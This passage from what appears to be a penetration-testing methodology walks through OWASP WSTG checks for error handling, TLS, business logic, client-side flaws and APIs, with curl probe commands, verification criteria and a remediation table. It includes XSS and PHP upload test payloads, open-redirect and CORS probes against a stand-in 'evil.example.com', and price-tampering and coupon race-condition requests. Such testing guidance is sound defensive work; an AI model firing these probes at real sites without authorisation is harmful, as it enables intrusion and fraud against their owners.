    -o "$OUTPUT_DIR/evidence/error-$(echo $trigger | md5sum | cut -c1-8).html" \
    -w '%{http_code}' 2>/dev/null)
  echo "$trigger: $code"
  sleep 1
done

Check each response body for: stack traces, framework names and versions, SQL queries, file paths, database connection strings, internal IPs, API keys.

8.2 Stack Traces (WSTG-ERRH-02)

# Common stack trace patterns
grep -rniE '^\s*at |stack trace|traceback|\.py", line |\.java:|\.php on line|\.rb:\d+:|\.go:\d+|in `|\.tsx:\d+:|\.js:\d+' \
  "$OUTPUT_DIR/evidence/" 2>/dev/null

Verification: Response contains a full stack trace with framework-internal paths and line numbers, not just a generic error message.


Phase 9: Weak Cryptography (WSTG-CRYP-01 through CRYP-04)

9.1 Weak TLS (WSTG-CRYP-01)

# Quick TLS version and cipher check
nmap -sV --script ssl-enum-ciphers -p 443 "$TARGET" 2>/dev/null

# Check certificate validity
openssl s_client -connect "${TARGET}:443" -servername "$TARGET" \
  </dev/null 2>/dev/null | openssl x509 -noout -text \
  | grep -E 'Not Before|Not After|Issuer:|Subject:'

# testssl.sh for comprehensive analysis
testssl --quiet --json "$TARGET" 2>/dev/null

Verification: TLS 1.0/1.1 supported, weak ciphers (RC4, 3DES, EXPORT), missing forward secrecy, invalid/expired certificate, or hostname mismatch.

9.2 Padding Oracle (WSTG-CRYP-02)

# Test for padding oracle in encrypted cookies or tokens
# Requires specialized tools: padbuster, padding-oracle-attacker
# This is a detection probe, not a full exploit
code_ok=$(curl -sS --max-time 10 "https://${TARGET}/" \
  -H 'Cookie: session=VALID_ENCRYPTED_COOKIE' \
  -o /dev/null -w '%{http_code}' 2>/dev/null)

code_bad=$(curl -sS --max-time 10 "https://${TARGET}/" \
  -H 'Cookie: session=MODIFIED_LAST_BYTE' \
  -o /dev/null -w '%{http_code}' 2>/dev/null)

echo "Valid: $code_ok, Modified: $code_bad"

Pitfalls: A different response code does not automatically indicate a padding oracle. You need to systematically flip bytes and observe consistent padding-error vs data-error behavior.

9.3 Unencrypted Channels (WSTG-CRYP-03)

# Check if the site is available over HTTP
code=$(curl -sS --max-time 10 "http://${TARGET}/" -o /dev/null -w '%{http_code}' 2>/dev/null)
echo "HTTP: $code"

# Check for mixed content on the HTTPS version
curl -sS --max-time 10 "https://${TARGET}/" 2>/dev/null \
  | grep -oPi '(src|href)=["\x27]http://[^"\x27]*["\x27]'

9.4 Weak Cryptographic Primitives (WSTG-CRYP-04)

Inspect any observed cryptographic values: tokens, cookies, API keys, password hashes. Check for:

  • MD5 or SHA1 in security contexts
  • ECB mode in encrypted tokens
  • Hardcoded keys or IVs
  • Predictable random values (timestamps, sequential counters)

Phase 10: Business Logic (WSTG-BUSL-01 through BUSL-10)

10.1 Data Validation (WSTG-BUSL-01)

# Negative quantity in cart
curl -sS --max-time 10 -X POST "https://${TARGET}/cart/add" \
  -H 'Content-Type: application/json' \
  -d '{"product_id":1,"quantity":-1}' 2>/dev/null

# Zero or negative price
curl -sS --max-time 10 -X POST "https://${TARGET}/checkout" \
  -H 'Content-Type: application/json' \
  -d '{"items":[{"product_id":1,"price":0.01,"quantity":1}]}' 2>/dev/null

10.2 Forge Requests (WSTG-BUSL-02)

# Check if signed values (coupons, discounts) can be modified
# Try changing a coupon code parameter
curl -sS --max-time 10 -X POST "https://${TARGET}/checkout/apply-coupon" \
  -H 'Content-Type: application/json' \
  -d '{"coupon":"FREE100"}' 2>/dev/null

10.3 Integrity Checks (WSTG-BUSL-03)

Inspect whether price, quantity, and discount values in requests are validated against server-side values. Modify them in transit and observe.

10.4 Process Timing (WSTG-BUSL-04)

# Race condition: apply coupon multiple times simultaneously
for i in $(seq 1 5); do
  curl -sS --max-time 10 -X POST "https://${TARGET}/cart/apply-coupon" \
    -H 'Content-Type: application/json' \
    -d '{"coupon":"LIMITED10"}' -o /dev/null -w '%{http_code} ' 2>/dev/null &
done; wait; echo

10.6 Circumvent Workflows (WSTG-BUSL-06)

# Skip checkout steps by accessing later URLs directly
for step in /checkout/payment /checkout/confirm /checkout/complete /order/place; do
  code=$(curl -sS --max-time 10 "https://${TARGET}${step}" \
    -H 'Cookie: session=VALID_SESSION' \
    -o /dev/null -w '%{http_code}\n' 2>/dev/null)
  echo "$step: $code"
  sleep 1
done

10.8/10.9 File Upload (WSTG-BUSL-08/09)

# Test accepted file types
echo '<?php phpinfo(); ?>' > /tmp/test.php
echo '<script>alert(1)</script>' > /tmp/test.html
echo '<svg/onload=alert(1)>' > /tmp/test.svg

for file in /tmp/test.php /tmp/test.html /tmp/test.svg; do
  code=$(curl -sS --max-time 10 -X POST "https://${TARGET}/upload" \
    -F "file=@${file}" -o /dev/null -w '%{http_code}\n' 2>/dev/null)
  echo "$(basename $file): $code"
  sleep 1
done

Pitfalls: File upload tests are state-changing. Only test on scope-approved endpoints with inert content. Remove uploaded files afterward when possible.

Verification: Uploaded file is accessible and executes (PHP, JSP) or renders (HTML, SVG) when requested through its URL.


Phase 11: Client-side Testing (WSTG-CLNT-01 through CLNT-15)

11.1 DOM XSS (WSTG-CLNT-01)

Use browser DevTools to trace data flow from source (URL, postMessage, localStorage, document.cookie) to sink (innerHTML, document.write, eval, location). Check for missing sanitization at each sink.

11.4 Client-side Redirect (WSTG-CLNT-04)

# Test URL parameters that may trigger client-side redirect
for param in redirect url next return_to goto target callback; do
  curl -sS --max-time 10 \
    "https://${TARGET}/login?${param}=https://evil.example.com" \
    -o /dev/null -w '%{redirect_url}\n' 2>/dev/null
  sleep 1
done

11.5 CSS Injection (WSTG-CLNT-05)

Injected CSS can exfiltrate data character-by-character via attribute selectors and background-image URLs. Test inputs that appear in style attributes or <style> blocks.

11.7 CORS (WSTG-CLNT-07)

# Test origin reflection
curl -sS -D - --max-time 10 "https://${TARGET}/api/me" \
  -H 'Origin: https://evil.example.com' -o /dev/null 2>&1 \
  | grep -i 'access-control'

# Test null origin
curl -sS -D - --max-time 10 "https://${TARGET}/api/me" \
  -H 'Origin: null' -o /dev/null 2>&1 \
  | grep -i 'access-control'

# Test subdomain bypass
curl -sS -D - --max-time 10 "https://${TARGET}/api/me" \
  -H 'Origin: https://evil.${TARGET}' -o /dev/null 2>&1 \
  | grep -i 'access-control'

Verification: ACAO reflects the attacker origin AND ACAC is true AND the endpoint returns user-specific data (not public information).

11.9 Clickjacking (WSTG-CLNT-09)

curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
  | grep -iE 'x-frame-options|content-security-policy.*frame-ancestors'

Verification: Missing X-Frame-Options or CSP frame-ancestors on a page with sensitive actions (login, settings, payment).

11.10 WebSockets (WSTG-CLNT-10)

# Check Origin validation on WebSocket upgrade
curl -sS -D - --max-time 10 \
  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
  -H 'Origin: https://evil.example.com' \
  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
  -H 'Sec-WebSocket-Version: 13' \
  "https://${TARGET}/ws" -o /dev/null 2>&1

11.12 Browser Storage (WSTG-CLNT-12)

Inspect localStorage, sessionStorage, IndexedDB, and cookies for sensitive data: tokens, API keys, PII, internal hostnames, feature flags that expose unreleased functionality.


Phase 12: API Testing (WSTG-APIT-01 through APIT-99)

12.1 API Reconnaissance (WSTG-APIT-01)

# Discover API documentation
for path in /openapi.json /swagger.json /swagger/v1/swagger.json \
  /api-docs /api/swagger /api/v1/openapi.json /graphql \
  /api/schema /redoc /docs /playground; do
  code=$(curl -sS --max-time 10 "https://${TARGET}${path}" \
    -o /dev/null -w '%{http_code}\n' 2>/dev/null)
  [ "$code" != "404" ] && echo "$path: $code"
  sleep 1
done

Verification: OpenAPI/Swagger document returns valid JSON with operations, parameters, and authentication requirements.

12.2 Broken Object Level Authorization (WSTG-APIT-02)

See Phase 5.4 (IDOR). Test every object endpoint with two identities.

12.3 Excessive Data Exposure (WSTG-APIT-03)

For each API endpoint, compare the response fields between:

# Full response (as authenticated user)
curl -sS --max-time 10 "https://${TARGET}/api/users/me" \
  -H 'Authorization: Bearer USER_TOKEN' 2>/dev/null | python3 -m json.tool

# Does the response include password hashes, internal IDs, admin flags,
# role definitions, or other fields not needed by the client?

12.4 Broken Function Level Authorization (WSTG-APIT-04)

# Try administrative API endpoints as a regular user
for endpoint in /api/admin /api/users /api/config /api/logs /api/health \
  /api/metrics /api/system /api/internal; do
  code=$(curl -sS --max-time 10 "https://${TARGET}${endpoint}" \
    -H 'Authorization: Bearer REGULAR_USER_TOKEN' \
    -o /dev/null -w '%{http_code}\n' 2>/dev/null)
  echo "$endpoint: $code"
  sleep 1
done

12.99 GraphQL (WSTG-APIT-99)

# Introspection query
curl -sS --max-time 10 -X POST "https://${TARGET}/graphql" \
  -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}' 2>/dev/null

# Check if GET is allowed (query batching / CSRF risk)
curl -sS --max-time 10 \
  "https://${TARGET}/graphql?query=%7B__typename%7D" \
  -o /dev/null -w '%{http_code}\n' 2>/dev/null

# Field suggestion (information leak)
curl -sS --max-time 10 -X POST "https://${TARGET}/graphql" \
  -H 'Content-Type: application/json' \
  -d '{"query":"{user(id:1){namee}}"}' 2>/dev/null

Pitfalls

  • A response code alone is not a finding. Verify body content.
  • Old version strings do not prove exploitability.
  • Automated scanners produce leads, not validated findings. Reproduce manually.
  • Authorization findings require at least two identities with known ownership.
  • WAF and rate limits may suppress probes. Vary timing and encoding.
  • Third-party and shared-provider hosts need ownership review before testing.
  • Do not infer a finding from a single response. Run positive and negative controls.

Verification

For every reported finding, answer:

  1. What security property failed? Name the expected behavior.
  2. What did you observe? Include sanitized request and response.
  3. What controls confirm it? Positive control (expected), negative control (excluded), and boundary control (adjacent value).
  4. What was NOT tested? Enumeration, production data, writes, persistence.
  5. Is it reproducible? Document exact steps with timing.

Run the final quality gate:

[ ] reproduction and controls work as documented
[ ] impact matches evidence; untested steps labeled
[ ] credentials and PII removed
[ ] remediation addresses the failed security control

Remediation by WSTG Category

Category Common fixes
INFO-* Remove verbose headers, restrict metafiles, review page content
CONF-* Disable unused methods, harden headers, restrict admin panels, remove backup files
IDNT-* Uniform error messages, CAPTCHA on registration, strong password policy
ATHN-* MFA, account lockout, secure password reset tokens, credential encryption
ATHZ-* Server-side ownership checks, deny-by-default, role verification per request
SESS-* Secure/HttpOnly/SameSite cookies, session regeneration, server-side invalidation
INPV-* Parameterized queries, input validation, output encoding, CSP, sanitization
ERRH-* Custom error pages, no stack traces in production, generic user-facing messages
CRYP-* TLS 1.2+, strong ciphers, HSTS, forward secrecy, no hardcoded keys
BUSL-* Server-side validation, workflow state enforcement, idempotency keys
CLNT-* Strict CSP, frame-ancestors, CORS restrictions, DOM sanitization
APIT-* Per-object authorization, field-level access control, disable introspection